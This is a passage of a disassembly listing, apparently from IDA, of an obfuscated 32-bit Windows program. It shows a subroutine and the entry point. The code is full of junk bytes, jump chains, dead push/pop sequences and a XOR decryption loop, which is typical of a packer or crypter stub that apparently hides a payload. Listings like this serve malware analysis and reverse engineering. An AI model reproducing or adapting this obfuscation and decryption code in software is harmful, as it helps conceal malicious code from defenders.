0EF9BA4A7h push esi push eax test ecx, eax not eax rep mov esi, 810BDAh test eax, ebp neg esi inc esi cld pop eax pop esi sub eax, 0AA1A3228h jmp short loc_405EC6 ; --------------------------------------------------------------------------- fild qword ptr ds:7118FB8Ah[esi*8] loc_405EA3: ; CODE XREF: sub_4058B9:loc_405EC6j jmp short loc_405ED7 ; --------------------------------------------------------------------------- db 56h, 0D7h, 0C4h dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh dd 8CBFDE19h, 78DBEAD5h db 51h, 0B6h ; --------------------------------------------------------------------------- loc_405EC6: ; CODE XREF: sub_4058B9+5E1j jmp short loc_405EA3 ; --------------------------------------------------------------------------- mov bh, 24h lea eax, [edx+53h] nop loc_405ECE: ; CODE XREF: sub_4058B9:loc_405ED7j jmp short loc_405EFE ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_405ED7: ; CODE XREF: sub_4058B9:loc_405EA3j jmp short loc_405ECE ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh db 87h, 0B4h ; --------------------------------------------------------------------------- loc_405EFE: ; CODE XREF: sub_4058B9:loc_405ECEj ror eax, 0A0h jmp short loc_405F30 ; --------------------------------------------------------------------------- sahf jg short loc_405F52 loc_405F06: ; CODE XREF: sub_4058B9:loc_405F30j jmp short loc_405F45 ; --------------------------------------------------------------------------- dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h dd 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h ; --------------------------------------------------------------------------- loc_405F30: ; CODE XREF: sub_4058B9+648j jmp short loc_405F06 ; --------------------------------------------------------------------------- dw 622Dh db 0F3h ; --------------------------------------------------------------------------- loc_405F35: ; CODE XREF: sub_4058B9:loc_405F45j jmp short loc_405F60 ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- sub [esi-451A23B1h], ebp imul ecx, eax, 61h xchg al, [edi+74h] popf loc_405F45: ; CODE XREF: sub_4058B9:loc_405F06j jmp short loc_405F35 ; --------------------------------------------------------------------------- db 12h dd 5E99E0E3h, 6A550C3Fh db 5Bh, 0F8h ; --------------------------------------------------------------------------- loc_405F52: ; CODE XREF: sub_4058B9+64Bj sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- loc_405F60: ; CODE XREF: sub_4058B9:loc_405F35j ror eax, 33h push edi push eax mov eax, 83119Ah cmp edi, esi and eax, 80A2DAh neg eax cld pop eax pop edi ror ax, 0B6h jmp short loc_405FAB ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh ; --------------------------------------------------------------------------- loc_405F84: ; CODE XREF: sub_4058B9:loc_405FABj jmp short loc_405FBB ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_405FC2 mov [ecx], ah inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger adc eax, 91B81B2Ah ; CODE XREF: sub_4058B9+70Ej div bh loc_405FAB: ; CODE XREF: sub_4058B9+6C2j jmp short loc_405F84 ; --------------------------------------------------------------------------- db 64h, 0CDh, 82h ; --------------------------------------------------------------------------- xchg eax, ebx loc_405FB1: ; CODE XREF: sub_4058B9:loc_405FBBj jmp short loc_405FDE ; --------------------------------------------------------------------------- db 0D0h dd 0FCEFCEC9h db 85h, 0DAh, 0Bh ; --------------------------------------------------------------------------- loc_405FBB: ; CODE XREF: sub_4058B9:loc_405F84j jmp short loc_405FB1 ; --------------------------------------------------------------------------- db 0E8h, 1, 0A6h db 0E7h, 94h ; --------------------------------------------------------------------------- loc_405FC2: ; CODE XREF: sub_4058B9+6DCj cmp eax, 39008332h jle short near ptr loc_405FA4+4 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- db 5Ch, 65h, 3Ah ; --------------------------------------------------------------------------- jmp short loc_406026 ; --------------------------------------------------------------------------- loc_405FDE: ; CODE XREF: sub_4058B9:loc_405FB1j ror ax, 65h push eax push edi test eax, eax shl edi, 0F7h mov eax, 80E15Ah xor edi, esp sbb eax, 80A85Ah xor eax, edx not eax stc cld pop edi pop eax sub eax, 0A3E8EC54h jmp short loc_406034 ; --------------------------------------------------------------------------- pusha sbb esi, ebx loc_406008: ; CODE XREF: sub_4058B9:loc_406034j jmp short loc_40604D ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short loc_406062 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h db 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_406026: ; CODE XREF: sub_4058B9+723j inc ebx sar cl, 3Eh lahf in al, dx mov ch, 4Ah mov ebx, 971631D8h ; --------------------------------------------------------------------------- db 84h ; --------------------------------------------------------------------------- loc_406034: ; CODE XREF: sub_4058B9+74Aj jmp short loc_406008 ; --------------------------------------------------------------------------- dw 0A26Dh db 33h, 0F0h, 69h ; --------------------------------------------------------------------------- loc_40603B: ; CODE XREF: sub_4058B9:loc_40604Dj jmp short loc_406068 ; --------------------------------------------------------------------------- db 0EEh, 8Fh, 1Ch dd 8ABFA25h, 0B487C6A1h, 202352DDh db 0D9h ; --------------------------------------------------------------------------- loc_40604D: ; CODE XREF: sub_4058B9:loc_406008j jmp short loc_40603B ; --------------------------------------------------------------------------- db 9Eh dd 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h db 6Fh, 7Ch ; --------------------------------------------------------------------------- loc_406062: ; CODE XREF: sub_4058B9+756j add eax, 81688B5Ah ; --------------------------------------------------------------------------- db 26h ; --------------------------------------------------------------------------- loc_406068: ; CODE XREF: sub_4058B9:loc_40603Bj ror al, 0F2h jmp short loc_40609C ; --------------------------------------------------------------------------- db 0FEh, 5Fh, 0ACh dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h dd 74478661h ; --------------------------------------------------------------------------- loc_406088: ; CODE XREF: sub_4058B9:loc_40609Cj jmp short loc_4060B7 ; --------------------------------------------------------------------------- dw 129Dh dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h ; --------------------------------------------------------------------------- loc_40609C: ; CODE XREF: sub_4058B9+7B2j jmp short loc_406088 ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl or [esi], ecx das cmp al, 0C5h loc_4060A5: ; CODE XREF: sub_4058B9:loc_4060B7j jmp short loc_4060D5 ; --------------------------------------------------------------------------- db 1Ah dd 0E641284Bh, 727DD427h, 0BE7940C3h db 1Fh, 6Ch, 35h ; --------------------------------------------------------------------------- loc_4060B7: ; CODE XREF: sub_4058B9:loc_406088j jmp short loc_4060A5 ; --------------------------------------------------------------------------- db 0CAh, 3Bh, 58h db 0B1h ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_4058B9:loc_4060D5j jmp short loc_4060E8 ; --------------------------------------------------------------------------- db 96h dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h db 0A3h ; --------------------------------------------------------------------------- loc_4060D5: ; CODE XREF: sub_4058B9:loc_4060A5j jmp short loc_4060BD ; --------------------------------------------------------------------------- db 0A0h dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh ; --------------------------------------------------------------------------- loc_4060E8: ; CODE XREF: sub_4058B9:loc_4060BDj xor ax, 259Fh push edi push esi cmp bh, al inc esi cld pop esi pop edi sub eax, 0C2DE176Dh jmp short loc_40612A ; --------------------------------------------------------------------------- db 0DAh ; --------------------------------------------------------------------------- or ebp, eax loc_4060FE: ; CODE XREF: sub_4058B9:loc_40612Aj jmp short loc_40613D ; --------------------------------------------------------------------------- dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh ; --------------------------------------------------------------------------- sbb esi, ebx loc_40612A: ; CODE XREF: sub_4058B9+840j jmp short loc_4060FE ; --------------------------------------------------------------------------- dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h ; --------------------------------------------------------------------------- scasd loc_40613D: ; CODE XREF: sub_4058B9:loc_4060FEj sub eax, 3EEA9396h jmp short loc_406170 ; --------------------------------------------------------------------------- dd 0FD54A766h db 0F2h, 43h, 0C0h ; --------------------------------------------------------------------------- loc_40614B: ; CODE XREF: sub_4058B9:loc_406170j jmp short loc_406180 ; --------------------------------------------------------------------------- db 0F9h, 3Eh, 9Fh dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h, 0ABFA251Ch dd 87C6A108h, 2352DDB4h, 7F9ED920h ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_4058B9+889j jmp short loc_40614B ; --------------------------------------------------------------------------- dw 954Ch ; --------------------------------------------------------------------------- stosb wait cmp [ecx], dl loc_406178: ; CODE XREF: sub_4058B9:loc_406180j jmp short loc_4061A3 ; --------------------------------------------------------------------------- dw 7776h dd 13024DE4h ; --------------------------------------------------------------------------- loc_406180: ; CODE XREF: sub_4058B9:loc_40614Bj jmp short loc_406178 ; --------------------------------------------------------------------------- dw 4950h dd 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh dd 0F1987B0Ah, 2D4457D6h db 62h, 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_4061A3: ; CODE XREF: sub_4058B9:loc_406178j xor al, 0DAh jmp short loc_4061D0 ; --------------------------------------------------------------------------- db 0DCh db 0E5h, 0BAh ; --------------------------------------------------------------------------- loc_4061AA: ; CODE XREF: sub_4058B9:loc_4061D0j jmp short loc_4061E3 ; --------------------------------------------------------------------------- dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- loc_4061D0: ; CODE XREF: sub_4058B9+8ECj jmp short loc_4061AA ; --------------------------------------------------------------------------- dw 0D427h ; --------------------------------------------------------------------------- jge short loc_406248 retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h pop ss loc_4061E3: ; CODE XREF: sub_4058B9:loc_4061AAj sub eax, 88848388h jmp short loc_406217 ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh loc_4061F5: ; CODE XREF: sub_4058B9:loc_406217j jmp short loc_406227 ; --------------------------------------------------------------------------- db 0D2h dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h dd 0DA85FCEFh, 0A601E80Bh db 0E7h, 94h, 3Dh ; --------------------------------------------------------------------------- loc_406217: ; CODE XREF: sub_4058B9+92Fj jmp short loc_4061F5 ; --------------------------------------------------------------------------- db 32h, 83h, 0 db 39h, 7Eh ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_4058B9:loc_406227j jmp short loc_40624E ; --------------------------------------------------------------------------- fild qword ptr ds:7118FB8Ah[esi*8] loc_406227: ; CODE XREF: sub_4058B9:loc_4061F5j jmp short loc_40621E ; --------------------------------------------------------------------------- db 56h, 0D7h, 0C4h dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh dd 8CBFDE19h, 78DBEAD5h ; --------------------------------------------------------------------------- loc_406248: ; CODE XREF: sub_4058B9+91Bj push ecx mov dh, 0B7h and al, 8Dh inc edx loc_40624E: ; CODE XREF: sub_4058B9:loc_40621Ej sub eax, 0B2E418Bh jmp short loc_406280 ; --------------------------------------------------------------------------- db 0BCh, 45h, 9Ah ; --------------------------------------------------------------------------- loc_406258: ; CODE XREF: sub_4058B9:loc_406280j jmp short loc_406293 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h ; --------------------------------------------------------------------------- loc_406280: ; CODE XREF: sub_4058B9+99Aj jmp short loc_406258 ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] loc_406285: ; CODE XREF: sub_4058B9:loc_406293j jmp short loc_4062B6 ; --------------------------------------------------------------------------- and cl, bl sahf jg short loc_4062D8 xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_40630A loc_406293: ; CODE XREF: sub_4058B9:loc_406258j jmp short loc_406285 ; --------------------------------------------------------------------------- db 0E4h, 4Dh, 2 dd 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h, 0FEB98003h dd 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi inc esp loc_4062B6: ; CODE XREF: sub_4058B9:loc_406285j ror eax, 29h jmp short loc_4062E8 ; --------------------------------------------------------------------------- db 0DCh db 0E5h, 0BAh ; --------------------------------------------------------------------------- loc_4062BE: ; CODE XREF: sub_4058B9:loc_4062E8j jmp short loc_4062FB ; --------------------------------------------------------------------------- dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh dd 0C20DA437h ; --------------------------------------------------------------------------- loc_4062D8: ; CODE XREF: sub_4058B9+9D1j rcl dword ptr [eax], cl or [esi], ecx das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx out 27h, al aam 7Dh ; --------------------------------------------------------------------------- db 72h ; --------------------------------------------------------------------------- loc_4062E8: ; CODE XREF: sub_4058B9+A00j jmp short loc_4062BE ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_4062EB: ; CODE XREF: sub_4058B9:loc_4062FBj jmp short loc_406316 ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh ; --------------------------------------------------------------------------- pop ss add al, 0EDh loc_4062FB: ; CODE XREF: sub_4058B9:loc_4062BEj jmp short loc_4062EB ; --------------------------------------------------------------------------- db 22h, 0B3h, 70h ; --------------------------------------------------------------------------- loc_406300: ; CODE XREF: sub_4058B9:loc_406316j jmp short loc_406331 ; --------------------------------------------------------------------------- dw 6EE9h dd 7AA59C0Fh db 2Bh, 88h ; --------------------------------------------------------------------------- loc_40630A: ; CODE XREF: sub_4058B9+9D8j and [esi+7], eax xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_406316: ; CODE XREF: sub_4058B9:loc_4062EBj jmp short loc_406300 ; --------------------------------------------------------------------------- dd 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h dd 94E7A601h db 3Dh ; --------------------------------------------------------------------------- loc_406331: ; CODE XREF: sub_4058B9:loc_406300j xor ax, 0CFBDh push ecx push ebx rcl ecx, 8 rol ebx, 51h cmp al, 0C4h inc ebx mov bx, 4A52h dec ecx inc ecx cld pop ebx pop ecx sub eax, 75AE6DECh push edx push ebx xor ebx, edx neg edx push ebx pop ebx mov edx, ecx xor edx, 80B05Ah test cl, dl ror edx, 0F5h xor ebx, esi test cl, al cld pop ebx pop edx sub eax, 9218D5EAh push eax push ecx neg ecx cmp al, 0DCh mov ax, 490Ch xchg ecx, eax push esi pop eax xor ecx, edx not eax push eax pop ecx nop cld pop ecx pop eax sub eax, 9F97DBBAh push ebx push esi cmp al, 0E2h mov bx, 4949h push edi pop ebx cmp edi, eax cmp ebx, 80B39Ah test ecx, esp xor esi, ebx xor esi, esp inc esi cld pop esi pop ebx sub eax, 9B5CFB22h jmp short loc_4063D9 ; --------------------------------------------------------------------------- db 0C4h dd 3073E2ADh db 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_4063B6: ; CODE XREF: sub_4058B9:loc_4063D9j jmp short loc_4063E9 ; --------------------------------------------------------------------------- dd 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh dd 0B65178DBh, 428D24B7h, 8E899053h ; --------------------------------------------------------------------------- scasd loc_4063D9: ; CODE XREF: sub_4058B9+AF4j jmp short loc_4063B6 ; --------------------------------------------------------------------------- loc_4063DB: ; CODE XREF: sub_4058B9:loc_4063E9j jmp short loc_40640C ; --------------------------------------------------------------------------- db 0BCh, 45h, 9Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h ; --------------------------------------------------------------------------- inc ebx loc_4063E9: ; CODE XREF: sub_4058B9:loc_4063B6j jmp short loc_4063DB ; --------------------------------------------------------------------------- db 0C0h dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h dd 8ABFA25h, 0B487C6A1h, 202352DDh ; --------------------------------------------------------------------------- loc_40640C: ; CODE XREF: sub_4058B9:loc_4063DBj ror eax, 0FBh push ecx push edi loc_406411: ; CODE XREF: sub_4058B9+BB9j ; sub_4058B9+BBDj test ecx, ebx nop cld pop edi pop ecx ror ax, 83h push ecx push edx xor ecx, esp mov cx, 4908h rol ecx, 3Ch xchg edx, ecx push ebx pop edx xor ecx, ebp neg edx dec ecx inc ecx cld pop edx pop ecx sub eax, 0A17A141Eh push ecx push esi xchg ecx, esi stc cld pop esi pop ecx ror eax, 2Ah jmp short loc_406470 ; --------------------------------------------------------------------------- db 6Fh, 7Ch, 5 ; --------------------------------------------------------------------------- loc_406448: ; CODE XREF: sub_4058B9:loc_406470j jmp short loc_406480 ; --------------------------------------------------------------------------- dw 8B5Ah dd 67268168h, 3B2BD14h, 5FFEB980h, 7B0A75ACh, 57D6F198h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h ; --------------------------------------------------------------------------- loc_406470: ; CODE XREF: sub_4058B9+B8Aj jmp short loc_406448 ; --------------------------------------------------------------------------- jz short loc_406411 adc ah, bl loopne loc_406411 pop esi loc_406479: ; CODE XREF: sub_4058B9:loc_406480j jmp short loc_4064A7 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh loc_406480: ; CODE XREF: sub_4058B9:loc_406448j jmp short loc_406479 ; --------------------------------------------------------------------------- loc_406482: ; CODE XREF: sub_4058B9:loc_4064A7j jmp short loc_4064BA ; --------------------------------------------------------------------------- dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch ; --------------------------------------------------------------------------- pop eax mov cl, 96h loc_4064A7: ; CODE XREF: sub_4058B9:loc_406479j jmp short loc_406482 ; --------------------------------------------------------------------------- pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_4064E1 mov [ecx], ah inc esi pop es loc_4064BA: ; CODE XREF: sub_4058B9:loc_406482j ror ax, 6Bh push edx push ebx inc ebx xchg ebx, edx cmp edx, edi cmp bl, bh cld pop ebx pop edx xor ax, 0A220h push edx push edi test eax, edi mov di, 490Dh mov di, 4A3Dh push eax pop edx not edi xchg edx, edx push esi loc_4064E1: ; CODE XREF: sub_4058B9+BFBj pop edx inc edx cld pop edi pop edx xor [ecx+edi], eax jmp short loc_40651B ; --------------------------------------------------------------------------- adc eax, 91B81B2Ah div bh loc_4064F2: ; CODE XREF: sub_4058B9:loc_40651Bj jmp short loc_40652D ; --------------------------------------------------------------------------- dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h db 30h, 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_40651B: ; CODE XREF: sub_4058B9+C30j jmp short loc_4064F2 ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- loc_40651E: ; CODE XREF: sub_4058B9:loc_40652Dj jmp short loc_40654C ; --------------------------------------------------------------------------- dd 0EB3A655Ch, 0C706E148h, 63921DF4h ; --------------------------------------------------------------------------- pusha loc_40652D: ; CODE XREF: sub_4058B9:loc_4064F2j jmp short loc_40651E ; --------------------------------------------------------------------------- sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_406589 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_40654C: ; CODE XREF: sub_4058B9:loc_40651Ej dec ecx jnz loc_405B0A push eax push edx mov edx, edi test ecx, eax xor edx, ebx jbe short loc_406563 repne xor edx, ebx test al, bh inc eax loc_406563: ; CODE XREF: sub_4058B9+CA2j xchg eax, edx mov eax, 809C1Ah cmp cl, ah cld pop edx pop eax pop ecx jmp short loc_4065A2 ; --------------------------------------------------------------------------- dw 0EC9Fh dd 0D8BB4AB5h db 31h ; --------------------------------------------------------------------------- loc_406579: ; CODE XREF: sub_4058B9:loc_4065A2j jmp short loc_4065B9 ; --------------------------------------------------------------------------- push ss xchg eax, edi test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd loc_406589: ; CODE XREF: sub_4058B9+C7Dj or [ecx-224B783Ah], ah push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_406614 in al, 4Dh add dl, [ebx] push eax loc_4065A2: ; CODE XREF: sub_4058B9+CB7j jmp short loc_406579 ; --------------------------------------------------------------------------- dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h db 75h ; --------------------------------------------------------------------------- loc_4065B9: ; CODE XREF: sub_4058B9:loc_406579j pop edi jmp short loc_4065E7 ; --------------------------------------------------------------------------- db 62h, 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_4065BF: ; CODE XREF: sub_4058B9:loc_4065E7j jmp short loc_4065FA ; --------------------------------------------------------------------------- db 29h, 0AEh, 4Fh dd 6BBAE5DCh, 478661C8h, 0E3129D74h, 3F5E99E0h, 5B6A550Ch dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h db 3Ch, 0C5h, 1Ah ; --------------------------------------------------------------------------- loc_4065E7: ; CODE XREF: sub_4058B9+D01j jmp short loc_4065BF ; --------------------------------------------------------------------------- db 4Bh, 28h, 41h ; --------------------------------------------------------------------------- loc_4065EC: ; CODE XREF: sub_4058B9:loc_4065FAj jmp short loc_40661D ; --------------------------------------------------------------------------- dw 27E6h dd 0C3727DD4h, 1FBE7940h db 6Ch, 35h ; --------------------------------------------------------------------------- loc_4065FA: ; CODE XREF: sub_4058B9:loc_4065BFj jmp short loc_4065EC ; --------------------------------------------------------------------------- dd 0B1583BCAh ; --------------------------------------------------------------------------- xchg eax, esi loc_406601: ; CODE XREF: sub_4058B9:loc_40661Dj jmp short loc_406630 ; --------------------------------------------------------------------------- pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_40663B mov [ecx], ah inc esi pop es loc_406614: ; CODE XREF: sub_4058B9+CE2j xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_40661D: ; CODE XREF: sub_4058B9:loc_4065ECj jmp short loc_406601 ; --------------------------------------------------------------------------- db 15h dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh ; --------------------------------------------------------------------------- loc_406630: ; CODE XREF: sub_4058B9:loc_406601j pop esi push edi push ebx xor ebx, ebp add ebx, 80905Ah loc_40663B: ; CODE XREF: sub_4058B9+D55j ror edi, 0Ah rol edi, 32h rep cld pop ebx pop edi retn sub_4058B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= public start start proc far arg_0 = dword ptr 4 add edx, 163B22A6h jmp loc_406653 ; --------------------------------------------------------------------------- db 94h, 3Dh ; --------------------------------------------------------------------------- loc_406653: ; CODE XREF: start+6j push ebx push 163B22A6h jmp loc_40666E ; --------------------------------------------------------------------------- dw 0DF7Eh ; --------------------------------------------------------------------------- sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] loc_40666E: ; CODE XREF: start+13j mov ebx, esp sub edx, [ebx] jmp short loc_40667D ; --------------------------------------------------------------------------- dd 655CCF2Eh, 0E148EB3Ah ; --------------------------------------------------------------------------- push es loc_40667D: ; CODE XREF: start+2Cj add esp, 4 jmp loc_40668C ; --------------------------------------------------------------------------- dd 921DF4C7h ; --------------------------------------------------------------------------- loc_40668C: ; CODE XREF: start+3Dj pop ebx jmp short loc_4066BA ; --------------------------------------------------------------------------- db 0EAh db 0DBh, 78h ; --------------------------------------------------------------------------- loc_406692: ; CODE XREF: start:loc_4066BAj jmp short loc_4066D0 ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h db 6Dh, 0A2h ; --------------------------------------------------------------------------- loc_4066BA: ; CODE XREF: start+47j jmp short loc_406692 ; --------------------------------------------------------------------------- dd 0EE69F033h db 8Fh, 1Ch ; --------------------------------------------------------------------------- loc_4066C2: ; CODE XREF: start:loc_4066D0j jmp short loc_4066F3 ; --------------------------------------------------------------------------- and eax, 0A108ABFAh mov byte ptr [edi+2352DDB4h], 20h loc_4066D0: ; CODE XREF: start:loc_406692j jmp short loc_4066C2 ; --------------------------------------------------------------------------- dw 9ED9h ; --------------------------------------------------------------------------- jg short loc_406722 xchg eax, ebp loc_4066D7: ; CODE XREF: start:loc_4066F3j jmp short loc_406706 ; --------------------------------------------------------------------------- db 0AAh, 9Bh, 38h dd 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h, 14672681h db 0BDh, 0B2h, 3 ; --------------------------------------------------------------------------- loc_4066F3: ; CODE XREF: start:loc_4066C2j jmp short loc_4066D7 ; --------------------------------------------------------------------------- db 80h, 0B9h, 0FEh dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h db 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_406706: ; CODE XREF: start:loc_4066D7j push ebp jmp short loc_406732 ; --------------------------------------------------------------------------- db 0DCh, 0E5h, 0BAh ; --------------------------------------------------------------------------- loc_40670C: ; CODE XREF: start:loc_406732j jmp short loc_406745 ; --------------------------------------------------------------------------- dw 0C86Bh dd 74478661h, 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h ; --------------------------------------------------------------------------- sal dword ptr [esi], 1 loc_406722: ; CODE XREF: start+8Ej aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- loc_406732: ; CODE XREF: start+C1j jmp short loc_40670C ; --------------------------------------------------------------------------- dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh ; --------------------------------------------------------------------------- pop ss loc_406745: ; CODE XREF: start:loc_40670Cj push offset __ImageBase jmp short loc_406779 ; --------------------------------------------------------------------------- dd 9C0F6EE9h, 882B7AA5h ; --------------------------------------------------------------------------- and [esi+7], eax loc_406757: ; CODE XREF: start:loc_406779j jmp short loc_406789 ; --------------------------------------------------------------------------- db 34h, 5Dh, 0D2h dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h dd 0DA85FCEFh, 0A601E80Bh db 0E7h ; --------------------------------------------------------------------------- loc_406779: ; CODE XREF: start+104j jmp short loc_406757 ; --------------------------------------------------------------------------- db 94h dd 83323Dh, 2CDF7E39h, 18FB8AF5h db 71h ; --------------------------------------------------------------------------- loc_406789: ; CODE XREF: start:loc_406757j pop ebp jmp short loc_4067BA ; --------------------------------------------------------------------------- dd 0CF2EA930h db 5Ch, 65h, 3Ah ; --------------------------------------------------------------------------- loc_406793: ; CODE XREF: start:loc_4067BAj jmp short loc_4067CA ; --------------------------------------------------------------------------- jmp short loc_4067DF ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_4067F9 mov dh, 0B7h loc_4067AA: ; CODE XREF: start+1CAj and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_4067BA: ; CODE XREF: start+144j jmp short loc_406793 ; --------------------------------------------------------------------------- dd 43F2FD54h ; --------------------------------------------------------------------------- loc_4067C0: ; CODE XREF: start:loc_4067CAj jmp short loc_4067ED ; --------------------------------------------------------------------------- dw 0F9C0h dd 0B5EC9F3Eh db 4Ah, 0BBh ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: start:loc_406793j jmp short loc_4067C0 ; --------------------------------------------------------------------------- dd 971631D8h, 33A26D84h, 8FEE69F0h, 0ABFA251Ch db 8, 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_4067DF: ; CODE XREF: start+14Fj xchg esi, [ebp+ebx*8-26DFDCAEh] sahf jg short loc_406835 xchg eax, ebp stosb wait ; --------------------------------------------------------------------------- db 38h ; --------------------------------------------------------------------------- loc_4067ED: ; CODE XREF: start:loc_4067C0j xor eax, eax jmp short loc_406802 ; --------------------------------------------------------------------------- add dl, [ebx] push eax loc_4067F4: ; CODE XREF: start:loc_406802j jmp short loc_406825 ; --------------------------------------------------------------------------- dw 4E49h db 6Fh ; 